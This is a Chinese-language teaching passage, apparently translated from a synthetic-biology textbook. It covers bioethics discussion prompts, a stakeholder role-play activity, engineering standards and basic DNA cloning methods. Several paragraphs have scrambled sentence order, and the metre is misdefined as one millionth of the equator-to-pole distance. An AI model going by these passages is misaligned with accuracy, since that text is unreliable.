科学家与市议员使用语言的差异如何反映他们的不同观点?仅仅是语言上的不同,还是真正意义上的不同?

自律与政府立法

对于科学界来说,自律与政府立法的优缺点是什么?他们对当地公民有什么不同吗?

科学的过程

科学过程与法律或公民过程有何不同?它们在哪些方面相似?科学过程的迭代性质,其中证据建立但不“证明”一个想法,如何导致期望的差异?更好地理解科学过程是否有助于讨论?如果可能,如何达成共识?


利益相关者活动

在这项活动中,团体或个人站在利益相关者的角度进行生物伦理决策。它可以伴随此处介绍的任何案例研究或您选择的其他案例研究。尽管该活动可以单独开展,但从第 85 页的“剑桥市议会听证会:行动中的生物伦理学”部分开始,介绍了利益相关者的概念,并模拟了道德决策的过程。

回顾一下生物伦理学是一个可以通过提出以下问题来构建的过程的想法:


什么是伦理问题?

道德问题的一个关键特征是其结果会对个人或群体产生负面影响。

相关事实是什么?

考虑科学、社会学、历史和所有其他类型的事实可能很重要。

谁或什么会受到问题解决方式的影响?

这些是利益相关者。把每一个都写在记事卡上分发,这样每个人都被分配了一个。

相关的伦理考虑是什么?

尊重人、减少伤害同时最大化利益以及公平是我们讨论的核心原则,但这份清单绝不是详尽无遗的。


从本章或新闻中选择一个案例研究开始,然后解决前面的关键问题。根据您的设置,提供一个或所有问题的答案可能更合适。对于更高级的小组,一起考虑问题然后集体得出一组答案可能更明智。

接下来,分组并为每个组分配一个利益相关者角色;例如,所有政府官员都属于一组。其他利益相关者角色可能基于与科学、工业、公民社会、政策、教育、艺术或其他领域的联系。就本活动而言,最好将利益相关者的数量限制在四五个,因为这将决定小组的数量。这可以通过消除除最直接受影响的利益相关者之外的所有利益相关者或通过创建更广泛的类别来实现;例如,将民选和任命的政府官员归为一类,或者将消费者、投资者和儿童归为一个“公民”类别。在这些小组中,花时间从利益相关者的角度讨论道德问题。团体应考虑相关事实和道德考虑,例如尊重个人、减少伤害/最大化利益、公平以及可能想到的任何其他内容。每个小组应就利益相关者的首选行动方案和支持理由达成集体决定。

接下来,组将改组,使每个组都有来自每个利益相关者角色的代表;例如,一位政府官员、一位科学家、一位公民和一位企业领导都在一个群体中。在这个混合组中,应该再次讨论伦理问题,从他们指定的利益相关者角色的角度考虑相关事实和伦理考虑。每个小组都应该就首选的行动方案做出决定,但这次做出决定可能需要投票,因为每个人都有不同的观点和利益需要保护。让每个小组的代表与更大的小组分享他们的决定。所有小组都得出了相同的结论吗?

最后,为了将他们的个人想法与利益相关者群体的想法联系起来,个人可以分享或撰写后续声明,描述当从一个统一的利益相关者群体转移到一个混合的群体时,他们的行动或推理过程是否发生了变化。他们的个人观点与其利益相关者身份所表达的观点之间是否存在联系?如果他们最终发现自己从事这些利益相关者的职业之一,他们会看到自己的个人观点发生变化吗?

额外阅读和资源

  • “贝尔蒙特报告”:国家保护生物医学和行为研究人类受试者委员会。(1979) 保护人类研究对象的伦理原则和指南。
  • Berg, P., Singer M. F. 重组 DNA 争议:二十年后。 Proc Natl Acad Sci 美国。1995;92(20): 9011-3。
  • Cello, J., Paul, A.V., Wimmer E. 脊髓灰质炎病毒 cDNA 的化学合成:在没有天然模板的情况下产生传染性病毒。科学 2002; 297(5583): 1016-8。
  • Gibson D. G. 等,创建由化学合成基因组控制的细菌细胞。科学 2010; 329(5987): 52-6。
  • Randerson J. 有人订购天花吗?卫报,2006 年。( http://bit.ly/order_smallpox )。
  • Rogers, M. 潘多拉魔盒大会。滚石 1975;18: 19。
  • 网站:DIYbio 道德规范 ( http://diybio.org/codes/ )。
  • 网站:发光植物・参考资料 ( http://www.glowingplant.com/ )。
  • 网站:MIT 150 网站:“假设风险:剑桥市议会关于重组 DNA 研究的听证会”( http://bit.ly/hypothetical_risk )。
  • 网站:NIH 的“探索生物伦理学”( http://bit.ly/exploring_bioethics )。
  • 网站:NIH 生物安全指南 ( http://bit.ly/biosafety_guidelines )。
Read More

2022-07-26
DNA 工程基础

第3章 DNA 工程基础

FIGURE

您可用于构建的工具通常会定义工程成果。例如,起重机等新型建筑设备使建造摩天大楼成为可能,不断改进的晶体管使我们的计算机运行得越来越快。在本章中,我们考虑合成生物学的一个关键工具,即 DNA 工程。如果我们希望我们在编写遗传密码方面的流畅度与我们在其他编程语言中的流畅度相匹配,就必须有轻松编写、编译和调试 DNA 代码的方法。在本章中,我们将考虑标准化工程技术如何帮助实现这一目标,以及当前的 DNA 工程工具如何工作并适应该环境。

构建讨论

轻而易举。别紧张。非常简单。

FIGURE

将“轻松”等同于“快乐”的文化习语无处不在。我们似乎向往一种挑战更少的生活,以及一种一切轻松自如的生活。谁不想这样?然而事实证明,让事情变得简单并不容易。例如,想想无处不在的自动洗碗机设备。据最新统计,大约 85% 的美国家庭都有洗碗机,尽管我们只用双手、一些热水和海绵就可以完成同样的任务。显然,大多数房主认为将叉子扔进机器比用手清洁更容易。

FIGURE

然而,将洗碗机放入如此多的家庭需要 150 多年的发明时间。洗碗机最初是带有手摇曲柄的木箱,可以通过溅水旋转一排盘子。第一个可靠的省时洗碗机是 Josephine Cochrane 的专利发明,她厌倦了她精美的瓷器因手洗而遭受的损坏。由于 KitchenAid 公司的成立(由同一位发明专利的女性创立)以及现代管道的多次升级,这些电器变得广泛可用。甚至可以说,由于热水器、洗碗皂的发明以及可以为孩子们从洗碗机中清空盘子提供的每周津贴,洗碗变得容易了。从这个例子可以清楚地看出,让事情变得更容易需要付出很多努力,而且通常需要很长时间。

使事情变得简单所涉及的艰苦工作在这里是相关的,因为许多合成生物学家希望使生物学更容易设计。任何在生物研究实验室工作过的人都会告诉你,该领域要实现这一目标还有很长的路要走。让生物学按照我们的意愿行事是一项挑战。在活细胞中,变异比比皆是,我们对细胞的工作原理有很好的了解,但并不完全了解。因此,看似简单的实验如果能够成功完成,通常需要比预期更长的时间来完成。工程师们对这些工作的延误和不可预测性感到沮丧,他们敦促合成生物学对基础构建工具、通用编程语言和制造中心进行长期投资。他们争辩说,我们不可能建造复杂的结构,例如帝国大厦,如果没有起重机,可以举起非常重的物体,没有建筑商可以遵循的蓝图,没有钢铁厂来提供所需的建筑材料,那么如果没有类似的东西,我们怎么能建造复杂的生物学呢?用于设计和构建活细胞的资源?

显而易见的紧张关系是改进工程工具所需的时间和精力与每个人都渴望完成给定工作的渴望之间的关系。我们之前考虑的洗碗机示例说明了具有相同张力的旧案例。据报道,约瑟芬·科克伦(Josephine Cochrane)对制造机械工作版本的机器需要多长时间感到厌恶,因此她于 1866 年自己发明了这台机器。然而,她的第一台洗碗机的成本很高,使其仅适用于诸如此类的商业场所。作为餐厅和酒店。洗碗机成为家居用品需要 50 多年的成本降低和工程改进。

在本章中,我们探讨了合成生物学的一个基本要素,如果生物学工程变得更容易,它必须改进:DNA 工程。我们将专注于标准化作为促进这一过程的一种方法,从更强大的工程学科的历史案例中汲取灵感。我们通过研究克隆和聚合酶链式反应 (PCR) 技术,将这些关于标准化的想法应用到 DNA 工程中,这些技术已经超过了一代人的历史,然后我们将注意力转向了一些更现代的 DNA 序列组装技术。

零件和测量的标准化

标准,例如电源插座的形状和电压(如图 3-1 所示)以及杯子或克的标准量度,通过带来一致性和用于描述的通用词汇使工程和生活变得更容易事物。通过在我们构建或测量时同意某些标准,我们可以确信当我们将它们组合在一起时它们会“匹配”。在没有标准的情况下,我们会遇到令人沮丧的不一致——比如我们为手机或笔记本电脑带错了充电器。


FIGURE

图 3-1 世界各地电源插座标准的变化。世界各地的电源插座标准各不相同,澳大利亚(左)、意大利(中)和美国(右)要求使用独特的插头。


什么是标准化?

标准化是成熟工程学科的一个关键属性,因为它使工程师能够更快地实施令人兴奋、创新和有用的解决方案。例如,考虑工业革命期间出现的制造装配线。在此之前,大多数产品都是手工制作的,通常由一个人精心制作所有单独的零件并将它们组合在一起。这个过程发生了变化,制造因标准和可互换零件的可用性而发生了革命性的变化。单个零件可以在一个工厂用机器生产,然后在别处组装成各种产品。

突然之间,在一个地方制造的杠杆可以用于制造钟表、缝纫机或火车车厢,从而提高制造效率并加快工程设计周期。毫无疑问,标准化零件的可用性使工程师能够更快地制作新想法的原型。

常见的标准化特征包括组件的尺寸、形状、材料属性和行为。正如乐高积木的巧妙设计所示,这些方面对于正确组装零件非常重要。乐高积木很容易拼合在一起,因为它们都有一定大小和间距的凸块和孔。任何乐高积木顶部的凸块都适合任何其他乐高积木底部的孔,并且这些部件都是由相同的硬塑料制成的,因此它们可以互换并用于构建许多东西。

世界各地的电源插座为零件的组装标准提供了一个有趣的对比。在这种情况下,“组装”是指将设备插入插座。随着时间的推移,世界各国为其电源插座开发了不同的尺寸、形状和电压。因此,为在美国使用而设计的电器不能直接在其他国家使用,因为插头根本无法插入插座。根据这个讨论,你可能会想,“嘿,等一下,如果世界上有各种类型的电源插座,这些东西肯定不是标准化的!”事实是,标准化并不一定意味着就单一标准达成一致。例如,另一个人可以制作类似乐高积木的不同大小或间距的凸块和孔。尽管如此,每个国家(或类似乐高积木的积木制造商)都必须有自己内部一致的标准,但现有的所有部件并不需要普遍可互换。可变性的缺点是零件不再完全可互换。

因此,在实践中,工程师们同意使用有限数量的标准,只要它们可以相互转换并且清楚哪个标准单元用于给定项目,它们就可以很好地工作。正如我们将在下一节中讨论的那样,长度测量为标准的重要性和竞争标准的存在提供了一个很好的例子。

竞争标准

标准可以(而且确实!)来自任何地方。例如,主要在美国使用的“脚”尺寸(图 3-2)最初是基于人脚的大致长度。当然,不同人的脚长差异很大,所以在最初的形式中,这个“我的脚长”标准可能对个人有用,例如建筑商,独自建造房子。但是,如果这个建筑商需要从木匠那里获取材料,如果他的脚和木匠的脚不一样,那么建筑商就有麻烦了。所需的 16 英尺长的木板可能太长或太短,这取决于谁的脚更大。当然,现在我们有一个标准化的英尺测量来消除这种不一致。


FIGURE

图 3-2 竞争标准示例。我们熟悉的竞争标准的一些示例包括英制与公制长度测量(左)、.tiff 与 .jpg 图像文件(中)以及交流电 (AC) 与直流电 (DC)(右)。


另一种距离标准,米,最初被定义为赤道和北极之间距离的百万分之一。这个距离因人而异,但很难独立测量。如果建造房屋的建造者以米为单位测量材料而不是用脚测量,他无法直接测量从赤道到北极的分数距离,因此他需要一根米尺来估算所有长度,因为木匠会。

英尺和米是长度的替代单位,它们提供了竞争标准的示例,以及每种替代标准的优缺点。脚更直接有用,而米更标准。任何给定的标准都没有“正确”或“错误”之分,只有一个可能或多或少适合特定应用的标准。对于需要木匠提供的木板的建筑商来说,重要的是他们都使用相同的单元,否则原定 16 英尺长的木板可能会到达 16 米。而且现在英尺和米都是标准化的,如果需要,工程师也可以在这两种度量之间进行转换,所以两个标准的存在是可行的。

竞争标准,即使是可互换的标准,也可能导致一些荒谬的解决方法。 例如,1873 年,马萨诸塞州汤顿的 Mason Machine Works 为大西洋、密西西比和俄亥俄铁路制造了一种漂亮的新火车发动机。但是由于铁路的轨距在制造火车的马萨诸塞州和交付火车的俄亥俄州的轨距不同,因此火车无法在马萨诸塞州的轨道上行驶,必须在平地上运送到目的地车。

FIGURE

这个例子说明了标准单元的明显好处,但在实践中,开发和遵守单一标准对于任何领域来说都是困难的。除了相互竞争的英制和公制测量系统之外,其他历史示例包括用于视频的 Betamax 与 VHS 以及用于电力的交流电与直流电。也许不同的利益相关者有不同的目标或优先事项,这些偏好导致他们提倡一种标准而不是另一种标准。即使是一个优于另一个标准的标准,如果作为替代品进行推广,也会带来技术、实践和心理障碍。

如何建立标准

所有领域都存在如此多的竞争标准的部分原因是标准可能以一种特别的方式出现。单个研究人员或工程师可能会开发适合特定需求的测量或制造实践。然后其他人可能会认为该单元很有用并采用它,也许会稍作修改以使其更适合他们自己的目的。这种类型的有机标准开发可能会很混乱,因为研究人员会根据自己的目的以不同的方式调整单元,在新兴标准中产生细微的变化,但它也可以为实验和优化提供极好的机会。围绕这种非正式开发的“伪标准”逐渐达成共识也可以节省时间和金钱,特别是在容易向意想不到的方向发展的快速变化的领域,使得最终所需的标准在一开始就无法得知。

致力于该领域基础性进展的合成生物学家 Jason Kelly 博士引用了 1858 年铺设的第一条跨大西洋电缆作为特别标准制定的指导性研究。由于跨大西洋电缆必须在水下运行,工程师们面临着测量和维修方面的挑战,这是他们在 1840 年代使用陆地电报线时从未遇到过的挑战。如果固定电话不起作用,则可以对其进行目视检查、测量,然后将其调整为正常运行。海底电缆的维修需要一个不同的计划,因为没有简单的方法可以目视检查它们。相反,工程师们回到了基础。电缆铜线的制造商可以使用各种类型的电池来测量其电气特性以产生标准电压,并使用校准的电流计来记录电流。 测量结果表明,每根电缆的电阻因制造商而异,这并不令人惊讶,因为电缆中的铜最多只有 50% 的纯度。尽管如此,对导电特性的精确测量使得即使是不均匀的铜线单元也可以组装成电缆,可以在 2000 多海里和 12000 英尺的海水下运行。 1858 年电缆铺设成功,维多利亚女王和詹姆斯·布坎南总统在英美之间交换信息所需的时间从几天缩短到几小时。

然而,电报信息在仅仅三周后就结束了,海底电缆的绝缘层出现故障,电缆因无法修复而不得不废弃。然而,随着未来几年技术的改进,后续电缆的故障可以从电缆的岸端追踪。为了粗略地定位故障,电缆制造商依靠他们精确记录的电阻率测量值,然后将维修船派往电路故障的大致位置。定位电报线路中的故障并不依赖于电阻率标准,而是依赖于非均匀电缆的预期行为。

到 1860 年代后期,建议采用统一的电阻标准,以更好地比较每个电缆制造商收集的数据。英国科学促进会制定了一个新的物理参考标准来定义这个新标准。参考对象是黄铜外壳中的铂合金线圈,他们声称它产生了 1 欧姆的电阻。这个定义有点武断——单欧姆的电阻值没有什么神奇之处——但它提供了必要的基准。该参考标准易于复制,因此可以广泛分发给各个电缆制造商,并附有如何使用它测量电阻的说明,如图 3-3 所示。该参考标准使许多制造商更容易测量其电缆的电气特性,并允许在制造商之间对测量结果进行比较。最初的参考欧姆并不是一个完美的标准,它已经随着时间的推移进行了调整。即便如此,标准化的早期努力被证明对海底电报线的具体应用是有用的,它启动了欧姆标准的发展。

这个例子的教训与合成生物学特别相关,合成生物学本身还处于标准化的早期阶段。多年来,世界各地的生物实验室一直在使用各种技术从 DNA 片段构建遗传回路,其中一些将在下一节中描述。然而,合成生物学强调遗传电路的可扩展组装,这需要标准化 DNA 的组装。下一节还描述了一些标准化 DNA 部件组合方式的早期想法和努力。


FIGURE

图 3-3 定义标准欧姆的参考对象。此图像类似于用于将欧姆定义为电阻测量值的物理参考标准。它包括一个用于进行电阻测量的金属物体及其使用说明。


DNA 工程实践

在介绍了标准化在其他工程领域所扮演的角色之后,我们现在将探讨它如何应用于合成生物学以及合成生物学中主要组成部分的物理组装:DNA。

你可能会想,“生物功能需要这么多重要的分子,比如蛋白质、脂质,以及 DNA 和 RNA——我们不只需要 DNA 来设计生物学吗?”你说得对,DNA 本身是一种惰性分子,只是细胞功能的关键参与者之一,但是由于信息通常从 DNA 流向 RNA 再到蛋白质(称为中心法则的范式),因此对有机体的任何变化 DNA 将影响所有下游功能。正是 DNA 编码的产物,如细胞的酶和结构分子,负责执行使细胞发挥功能的生化功能。归根结底,必须操纵这些功能,这是通过工程 DNA 完成的。换句话说,构建生物系统的部分力量和美妙之处在于,细胞可以仅根据它们所包含的 DNA 序列来改变它们的分子组成。通过这种方式,它们的行为有点像计算机读取软件,只是细胞不是解释零和一,而是读取以 DNA 语言出现的指令。

FIGURE

DNA 是一个大分子——更具体地说,它是由四种核苷酸结构单元组成的聚合物,它们头尾相连,形成数百万个核苷酸长的链。DNA 遵循与其他分子相同的化学规则,因此合成生物学家可以通过在核苷酸单体之间形成键来从头开始设计 DNA。此外,合成生物学家可以从从生物系统中提取的天然 DNA 中破坏和重建碱基之间的键。最常见的是,合成生物学家结合使用这两种方法将“合成”和天然存在的 DNA 片段组装成新的和所需的遗传回路。为此,工程师们找到了巧妙的方法来选择负责细胞中类似过程的天然存在的酶,以在称为分子克隆的过程中在试管中进行 DNA 工程反应(参见“克隆酶的起源”,第 54 页)。

DNA 组装的最终产物称为重组 DNA (rDNA)。rDNA 是指在实验室用分子克隆技术制成的 DNA。产生的 DNA 可以是自然界中可能出现或不出现的序列的组合。rDNA 比现代合成生物学领域早几十年开发,是合成生物学基础章节中描述的传统分子生物学工具包的一部分。在以下部分中,我们将描述 DNA 操作方法中的一些共同原则。然后,我们探讨了三种采用不同标准化水平的具体方法,每种方法都有自己的优点和缺点。

DNA 组装基础知识

DNA 组装需要一些基本组件和工具:

  • 大量 DNA,编码所需的特定功能
  • 一种精确组合 DNA 片段的方法
  • 一种将这些工程 DNA 成分引入目标生物体的方法

可用于操作 DNA 的方法效率低下,因此通常 DNA 工程师从尽可能多的 DNA 开始,然后选择包含所有所需 DNA 成分的相对稀有的 DNA 组合。有几种不同的方法可以产生大量的初始 DNA,包括 PCR、质粒制备和合成。这些过程在我们继续进行时将更详细地讨论,可以单独使用或组合使用以产生广泛的重组 DNA。

rDNA 通常作为称为质粒的小圆形 DNA 片段通过称为转化的过程引入细胞(见图 3-4)。您可以在多姿多彩的世界一章中阅读更多关于转型过程的信息。基于质粒的 DNA 工程方法的替代方法是直接编辑生物体的基因组,这是可能的,但我们不会在这里讨论。简单的质粒制备方案可以提供所需量的 DNA 作为进一步实验的起始材料。我们可以使用限制性内切酶操作许多市售质粒(参见第 54 页关于“克隆酶的起源”的侧栏)。最低限度,质粒编码一个选择标记,通常是一个赋予药物抗性的标记,以及一个多克隆位点,这是一个包含许多限制性位点的区域,我们可以轻松地插入或移除基因。这样一个最小的质粒可以被纯化,作为一个空白的画布或“骨架”,工程师可以在其中构建新的基因。或者,质粒可能已经包含感兴趣的基因;在这种情况下,质粒被纯化,以便通过几个后续步骤从质粒中提取该基因。在任何一种情况下,质粒制备方法都利用了细胞的自然复制能力,以最少的人力或干预来制作其 DNA 的许多拷贝。因为质粒 DNA 通常比基因组 DNA 更容易操作,所以 rDNA 通常在整个克隆过程中保持质粒形式。


FIGURE

图 3-4 标准质粒表示。灰色圆圈代表质粒。蓝色箭头代表质粒的功能部分,箭头代表该组件所需的转录方向。 XbaI、SpeI 和 PstI 标记将被相应限制酶切割的位点。


PCR(图 3-5)是另一种生产组装所需 DNA 的常用方法。您可以在合成生物学基础章节中阅读有关 PCR 的更多信息。简而言之,使用 PCR,工程师可以生成许多拷贝的特定 DNA 序列,通常长达几千个核苷酸,以线性形式,从只有很少的拷贝开始。除了所需的 DNA 起始材料(也称为模板 DNA)之外,PCR 还需要引发寡聚体,有时称为“引物”,有时称为“寡聚体”,它们是长度可达约 50 个核苷酸的 DNA 短聚合物。为了进行 PCR,模板 DNA、引发寡聚体、酶和缓冲液被放置在机器中以循环通过不同的温度。通过 PCR 产生的 DNA 可以随后插入到质粒中,从而可以通过如前所述的简单质粒制备来分离 DNA 序列的副本。此外,可以对 PCR 产生的 DNA 进行工程改造,使其包含一些有用的修饰。例如,它可以通过将所需的修饰结合到引发寡聚体中而附加短序列,例如限制性位点。


FIGURE

图 3-5 聚合酶链式反应。蓝色条代表要扩增的 DNA 序列区域,黑色箭头代表定义该序列边缘的引发寡聚体。


化学 DNA 合成(图 3-6)是另一种生成 DNA 的方法。核苷酸在试管中被一个一个地添加到不断增长的单链 DNA 链中。然而,指导 DNA 的化学合成有几个优点。一方面,核苷酸以化学方式相互连接,无需任何模板 DNA。因此,所需基因可以仅从有关所需序列的数字信息中产生,而不必事先存在于自然界中。化学 DNA 合成的另一个优点是产品的构建是外包的,这使研究人员可以腾出时间专注于其他实验。然而,在这一点上,化学合成最常用于制造用于 PCR 的引发寡聚体。就其本身而言,这种制造 DNA 的方法受到与合成相关的成本、生成产品所需的时间以及对超长序列合成的一些持续技术限制的限制。但是,将短 DNA 序列的化学合成与基于 PCR 的组装方法相结合的混合方法作为获取天然和合成基因的手段正变得越来越普遍。

连接酶封闭了 DNA 中的切口,限制性内切酶破坏了 DNA 磷酸二酯骨架中的键。如图 3-7 所示,取决于酶。限制性内切酶和连接酶是分子和合成生物学家的便捷工具,但如果您好奇它们为什么存在于自然界中,下面的侧边栏会解释克隆酶的起源。质粒制备、PCR 和化学合成都是公认的生成起始材料以组装成 rDNA 的方法。如果用相同的限制酶切割不同的 DNA 片段,得到的末端将是互补的,DNA 片段可以相互连接。为了“剪切”和“粘贴”DNA 起始材料,通常使用限制性内切酶。如果使用多种酶,多个“粘性”突出端可以将切割的 DNA 片段相互连接。这些核酸内切酶只有在识别特定的 DNA 序列(称为限制性位点)时才会切割双链 DNA。在它们连接后,rDNA 组装的最后一步是“粘贴”这些片段,通常使用一种酶 DNA 连接酶。有数百种限制性内切酶,每一种都像一把剪刀一样,识别并切割其特定的 DNA 序列,并使一些 DNA 碱基平齐(“平端”)或不成对(“粘性末端”),


FIGURE

图 3-6 DNA 合成器。四个橙色小瓶代表试剂,一个用于组装成 DNA 链的每个 DNA 碱基。顶部的计算机界面允许工程师输入他们想要的序列。


FIGURE

图 3-7 重组 DNA。黑色和蓝色条对代表双链 DNA,颜色编码以显示它在哪里被限制性内切酶切割,留下互补的“粘性末端”(左)或“平末端”(右),可以重新连接,如图所示。


克隆酶的起源

用于克隆 DNA 的酶来源于现有的生物体。例如,细胞需要 DNA 聚合酶在细胞分裂之前复制它们的基因组。限制性内切酶和连接酶在细胞存活和增殖中也发挥着重要作用:


限制酶

细菌细胞使用限制性内切酶来保护自己免受外来 DNA(例如病毒)的侵袭。这些酶进化为切割特定的 DNA 序列,统称为限制性位点。限制性位点通常有四到六个碱基对长。当病毒将其 DNA 注入宿主细胞时,该细胞的限制性内切酶会将 DNA 切割成许多片段,从而阻止其插入宿主基因组并抑制感染。任何给定的细菌种类都只会产生一种或几种类型的限制性内切酶,因为随着细胞中限制性内切酶数量的增加,宿主自身基因组中也存在限制性位点的可能性越来越大。拥有限制性位点的基因组拷贝可能会被证明具有破坏性,因为识别它的限制性内切酶可能会破坏细胞自身的基因组。近 600 种商业限制酶的可用集合来自数百种不同的生物,它们识别宿主基因组中缺失或修饰的限制位点,以防止酶将细胞的 DNA 切割成碎片。

连接酶

细胞通常使用 DNA 连接酶进行 DNA 复制和修复。在复制过程中,一条称为滞后链的 DNA 链在不连续的片段中合成。 DNA 连接酶用于连接这些片段以产生单个连续链。此外,连接酶会重新密封 DNA 主链中的缺口,这些缺口是在 DNA 受损或不正确的核苷酸被切除并被 DNA 复制期间活跃的校对机制取代时产生的。连接酶在分子生物学中用于密封 DNA 碱基对的粘性末端时保留在 DNA 骨架中的切口。


应用 DNA 组装的基础知识

到目前为止,我们专注于制备 DNA 并将其引入细胞的常见方法。接下来,我们将探索如何将不同的 DNA 片段具体而精确地结合起来。为了说明这一点,我们描述了如何使用不同的 DNA 组装策略来制造质粒,这在 iTune 设备章节中占据中心位置。无需阅读该章节即可继续阅读。你需要知道的是,iTunes 实验室调查测试了当基因受到不同强度的调节元件控制时产生多少β-半乳糖苷酶。 iTunes 实验中使用的每个质粒都包括酶编码序列上游的三个可能的启动子之一和三个可能的核糖体结合位点 (RBS) 之一。启动子通过募集 RNA 聚合酶来指导基因的转录,而 RBS 则通过核糖体启动翻译以产生酶(图 3-8)。这些 DNA 元件和一个参考质粒的所有可能组合之前都已组装好。在这里,我们研究了如何使用传统克隆技术(参见第 57 页的“构建 DNA:传统分子克隆”)、BioBrick 组装(在第 60 页的“构建 DNA:BioBrick 组装”中)和 Gibson 组装(“构建DNA:Gibson 组装”,第 66 页)。


FIGURE

图 3-8 分子生物学的中心法则。在最左边的面板中,RNA 聚合酶(绿豆形状)显示在未缠绕 DNA 的启动子区域附近。启动子区域由启动子(绿色箭头)和 RBS(栗色半圆)组成。在中图中,RNA 聚合酶已与启动子结合并开始转录 mRNA(显示为橙色条带)。显示为紫色形状的核糖体聚集在 mRNA 上的核糖体结合位点附近。右侧显示了 mRNA 向蛋白质的翻译,随着每个核糖体沿 mRNA 进一步翻译,橙色蛋白质的合成也在进行。


正如您将看到的,每种策略都有自己的优点和缺点。传统的分子克隆技术可以可靠地工作,但您必须针对每个新的 DNA 组装挑战现场开发它们,因此它们需要相当多的专业知识才能完美地计划和执行。 BioBrick 组装代表了标准化传统克隆的首批尝试之一。它已获得国际基因工程机器 (iGEM) 团队的广泛认可,因为它与标准生物部件注册表中的许多免费提供的 BioBrick 兼容。 Gibson 组装是一种相对较新的技术,它与 BioBrick 零件兼容,但不需要它们。吉布森组装能够同时组装多条 DNA,被许多人认为代表了 DNA 组装的未来,但它尚未达到成熟工程方法所需的标准化。有一天,Gibson 组装,就像 BioBrick 组装一样,可能会成为一种标准化技术,但与其他新技术一样,标准化落后于创新。

构建 DNA:传统分子克隆

商业 DNA 合成相当便宜,公司以几美分的价格提供服务。它们的自然版本存在,但它们也可以基于具有特定属性的新启动子或 RBS 的想法而发明。他们还经常发送足够的 DNA,以便将其用作最初几个克隆步骤的起始材料。克隆到 iTunes 质粒上的三个元素是启动子、RBS 和 β-半乳糖苷酶的编码序列。 此外,启动子序列很短,大约 35 个碱基,RBS 甚至更短。β-半乳糖苷酶是一种天然存在的酶,由大肠杆菌中的 lacZ 基因编码。产生如此短的起始 DNA 片段的最常见方法是化学合成 DNA 寡聚体,这些寡聚体随后可以在试管中组合以产生所需的双链 DNA 序列。因为 lacZ 基因有一个天然且容易获得的来源,并且因为该基因的序列是已知的,所以 PCR 是制造足够的起始 lacZ DNA 以进行克隆的合乎逻辑的方法。通常,在合成序列的任一端包含限制性位点也是明智的,从而允许对序列进行操作和克隆。如何制造足够的促进剂和 RBS 起始材料就不太明显了。

当 DNA 起始材料在手时,接下来有许多步骤可以使用传统的分子克隆技术将启动子、RBS 和 lacZ 基因克隆到质粒中(见图 3-9)。一般来说,您需要一个从头到尾的策略,因为通常一次只将一段 DNA 插入质粒。例如,为了制作 iTunes 质粒,用两种限制酶切割起始质粒和 lacZ PCR 产物可能是明智的:我们将这些酶称为“C”和“D”。理想情况下,酶 C 和 D 会在片段上留下粘性末端,因此 lacZ 和质粒 DNA 片段可以以可预测的方式相互结合。然后可以将这两个 DNA 片段连接起来,转化到大肠杆菌中,并选择在含有药物的培养基上生长。然后,您可以通过质粒制备从细胞中纯化新的“lacZ+质粒”DNA 的成功克隆,并将它们进行下一步,即添加 RBS。您可以使用限制酶“B”和“C”来进行这种 DNA 组装,这可能会留下粘性末端,使这些 DNA 片段正确对齐。同样,您可以连接这些片段,对其进行转化,然后选择菌落进行后续生长,以产生许多所需质粒的拷贝。在“RBS+lacZ+质粒”DNA 通过对 DNA 进行测序或使用限制性内切酶验证其模式被验证为正确之后,您最终可以使用限制性内切酶“A”和“B”再次切割它,连同起始启动子 DNA 材料“ 这次。再一次,DNA 成分可以被连接、转化、选择,并(最后)制备为最终所需的质粒。


FIGURE

图 3-9 传统克隆。要使用传统克隆制作单个 iTunes 质粒,可以使用限制性酶“C”和“D”切割骨架质粒,并且可以使用 PCR 来生成两侧带有“C”和“D”限制性位点的所需 DNA。当这些片段连接在一起时,会产生一个新的骨架,然后它会被酶“B”和“C”切割,并与 RBS 的“B”和“C”侧翼 DNA 结合。然后将产生的骨架再切割一次,这次是用酶“A”和“B”,并与“A”和“B”侧翼的 DNA 结合,用于启动子组装最终的 iTunes 质粒。在每一步之间,必须将新的骨架质粒转化到大肠杆菌中并培养,以便提取 DNA,并验证其正确性。


呸!几天后,这种策略可能会产生 iTunes 实验室所需的十种质粒中的一种,如图 3-10 所示(但请参阅第 59 页即将发布的侧边栏“现实生活中的 DNA 工程”以了解这种策略的一些方法)过程可能不成功)。令人高兴的是,您可以重复使用一些作为中间体制成的质粒(例如,“RBS+lacZ+质粒”)来帮助组装其他质粒。通过使用需要存在于所有质粒中的 lacZ 基因开始克隆,您可以并行执行许多后续步骤。


FIGURE

图 3-10 扩展传统克隆。图 3-9 所示的传统克隆方法可以通过将第一个反应的产物分成三个不同批次,在每个反应中使用不同的 RBS 进行第二个克隆步骤,然后分离将这些产品质粒中的每一个分成三批,用于添加不同启动子的最后一步。此处概述的策略仅在要克隆的片段中不存在所需的限制位点(“A”、“B”、“C”或“D”)时才有效。


总体而言,使用传统克隆,并假设所有步骤都进行得很好,组装所有 iTunes 质粒至少需要几天和大约 13 次消化/连接反应。如果你认为应该有一种不那么特殊和更快的方式来组装 DNA,那么你的想法就像许多合成生物学家所做的那样。 BioBrick 和 Gibson Assembly 是两种方法,部分原因是对传统分子克隆技术的速度和临时性质的不满。


现实生活中的 DNA 工程

我们对传统分子克隆的讨论可能会让这个过程看起来很麻烦,但它实际上呈现了最好的情况。现实生活中的克隆可能会遇到许多障碍,包括行为不端的引物、转化效率低的细胞和无活性的酶。这只是实验室的生活——研究人员有时必须花时间排除故障和优化程序,从各方面来看,这些程序应该有效,但实际上并没有。当您进行一些 BioBuilder 实验室时,您可能会亲自体验到这一点。有完整的实验室手册专门用于解决这些类型的问题,这不是我们的重点。尽管如此,我们还是想介绍一些常见的陷阱,让您更好地了解在实验室中实际进行 DNA 工程意味着什么。


限制酶使用的序列编辑

限制性内切酶是各种基因工程方法的重要工具。工程师使用它们在特定的特征序列处切割 DNA,以便他们可以操纵序列的这一部分,例如通过插入一段新的 DNA。酶的序列特异性对于允许工程师以受控、有针对性的方式实施他们的设计至关重要,但工程师正在使用的 DNA 序列可能需要改变以使其适合与特定的限制酶一起使用。具体来说,除了工程师希望它切割的位置之外,酶的目标序列不得存在于序列中的任何位置。如果序列存在于它不应该存在的地方,工程师必须改变它,也许使用一种称为定点诱变的方法,然后再继续进行其余的克隆。幸运的是,遗传密码的冗余意味着,在大多数情况下,可以在不改变氨基酸序列的情况下改变有问题的序列。例如,如果 DNA 序列中的 TTC 变为 TTT,则 EcoRI 识别位点发生突变,但该序列仍编码苯丙氨酸。

故障排除和更改策略

